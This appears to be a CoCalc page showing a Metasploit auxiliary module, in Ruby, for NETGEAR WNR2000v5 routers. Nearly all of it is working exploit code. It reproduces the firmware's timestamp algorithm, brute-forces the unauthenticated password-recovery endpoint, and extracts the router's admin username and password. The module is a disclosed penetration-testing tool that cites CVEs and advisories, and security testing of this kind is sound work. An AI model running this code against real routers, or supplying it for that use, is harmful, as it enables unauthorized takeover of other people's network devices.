CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'time'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::CRand
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery',
17
'Description' => %q{
18
The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery.
19
This vulnerability can be exploited by an unauthenticated attacker who is able to guess
20
the value of a certain timestamp which is in the configuration of the router.
21
Brute forcing the timestamp token might take a few minutes, a few hours, or days, but
22
it is guaranteed that it can be bruteforced.
23
This module works very reliably and it has been tested with the WNR2000v5, firmware versions
24
1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this
25
has not been tested.
26
},
27
'Author' => [
28
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
29
],
30
'License' => MSF_LICENSE,
31
'References' => [
32
['CVE', '2016-10175'],
33
['CVE', '2016-10176'],
34
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'],
35
['URL', 'https://seclists.org/fulldisclosure/2016/Dec/72'],
36
['URL', 'https://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability']
37
],
38
'DisclosureDate' => '2016-12-20'
39
)
40
)
41
register_options(
42
[
43
Opt::RPORT(80)
44
]
45
)
46
register_advanced_options(
47
[
48
OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]),
49
OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200])
50
]
51
)
52
end
53
54
def get_current_time
55
res = send_request_cgi({
56
'uri' => '/',
57
'method' => 'GET'
58
})
59
if res && res['Date']
60
date = res['Date']
61
return Time.parse(date).strftime('%s').to_i
62
end
63
end
64
65
# Do some crazyness to force Ruby to cast to a single-precision float and
66
# back to an integer.
67
# This emulates the behaviour of the soft-fp library and the float cast
68
# which is done at the end of Netgear's timestamp generator.
69
def ieee754_round(number)
70
[number].pack('f').unpack('f*')[0].to_i
71
end
72
73
# This is the actual algorithm used in the get_timestamp function in
74
# the Netgear firmware.
75
def get_timestamp(time)
76
srandom_r time
77
t0 = random_r
78
t1 = 0x17dc65df
79
hi = (t0 * t1) >> 32
80
t2 = t0 >> 31
81
t3 = hi >> 23
82
t3 -= t2
83
t4 = t3 * 0x55d4a80
84
t0 -= t4
85
t0 += 0x989680
86
87
ieee754_round(t0)
88
end
89
90
def get_creds
91
res = send_request_cgi({
92
'uri' => '/BRS_netgear_success.html',
93
'method' => 'GET'
94
})
95
if res && res.body =~ /var sn="(\w*)";/
96
serial = ::Regexp.last_match(1)
97
else
98
fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...")
99
end
100
101
# 1: send serial number
102
send_request_cgi({
103
'uri' => '/apply_noauth.cgi',
104
'query' => '/unauth.cgi',
105
'method' => 'POST',
106
'Content-Type' => 'application/x-www-form-urlencoded',
107
'vars_post' =>
108
{
109
'submit_flag' => 'match_sn',
110
'serial_num' => serial,
111
'continue' => '+Continue+'
112
}
113
})
114
115
# 2: send answer to secret questions
116
send_request_cgi({
117
'uri' => '/apply_noauth.cgi',
118
'query' => '/securityquestions.cgi',
119
'method' => 'POST',
120
'Content-Type' => 'application/x-www-form-urlencoded',
121
'vars_post' =>
122
{
123
'submit_flag' => 'security_question',
124
'answer1' => @q1,
125
'answer2' => @q2,
126
'continue' => '+Continue+'
127
}
128
})
129
130
# 3: PROFIT!!!
131
res = send_request_cgi({
132
'uri' => '/passwordrecovered.cgi',
133
'method' => 'GET'
134
})
135
136
if res && res.body =~ %r{Admin Password: (.*)</TD>}
137
password = ::Regexp.last_match(1)
138
if password.blank?
139
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
140
end
141
else
142
fail_with(Failure::Unknown, "#{peer} - Failed to obtain password")
143
end
144
145
if res && res.body =~ %r{Admin Username: (.*)</TD>}
146
username = ::Regexp.last_match(1)
147
else
148
fail_with(Failure::Unknown, "#{peer} - Failed to obtain username")
149
end
150
151
return [username, password]
152
end
153
154
def send_req(timestamp)
155
query_str = (if timestamp.nil?
156
'/PWD_password.htm'
157
else
158
"/PWD_password.htm%20timestamp=#{timestamp}"
159
end)
160
res = send_request_raw({
161
'uri' => '/apply_noauth.cgi',
162
'query' => query_str,
163
'method' => 'POST',
164
'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
165
'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}"
166
})
167
return res
168
rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
169
return
170
end
171
172
def run
173
# generate the security questions
174
@q1 = Rex::Text.rand_text_alpha(rand(2..21))
175
@q2 = Rex::Text.rand_text_alpha(rand(2..21))
176
177
# let's try without timestamp first (the timestamp only gets set if the user visited the page before)
178
print_status("#{peer} - Trying the easy way out first")
179
res = send_req(nil)
180
if res && res.code == 200
181
credentials = get_creds
182
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
183
return
184
end
185
186
# no result? let's just go on and bruteforce the timestamp
187
print_error("#{peer} - Well that didn't work... let's do it the hard way.")
188
189
# get the current date from the router and parse it
190
end_time = get_current_time
191
if end_time.nil?
192
fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
193
end
194
if end_time <= datastore['TIME_OFFSET']
195
start_time = 0
196
else
197
start_time = end_time - datastore['TIME_OFFSET']
198
end
199
end_time += datastore['TIME_SURPLUS']
200
201
if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i
202
end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i
203
end
204
205
print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.")
206
print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).")
207
208
# work back from the current router time minus datastore['TIME_OFFSET']
209
loop do
210
for time in end_time.downto(start_time)
211
timestamp = get_timestamp(time)
212
sleep 0.1
213
if time % 400 == 0
214
print_status("#{peer} - Still working, trying time #{time}")
215
end
216
res = send_req(timestamp)
217
next unless res && res.code == 200
218
219
credentials = get_creds
220
print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
221
store_valid_credential(user: credentials[0], private: credentials[1]) # more consistent service_name and protocol, now supplies ip and port
222
return
223
end
224
end_time = start_time
225
start_time -= datastore['TIME_OFFSET']
226
if start_time < 0
227
if end_time <= datastore['TIME_OFFSET']
228
fail_with(Failure::Unknown, "#{peer} - Exploit failed")
229
end
230
start_time = 0
231
end
232
print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}")
233
234
# let the router clear the buffers a bit...
235
sleep 30
236
end
237
end
238
end
239
240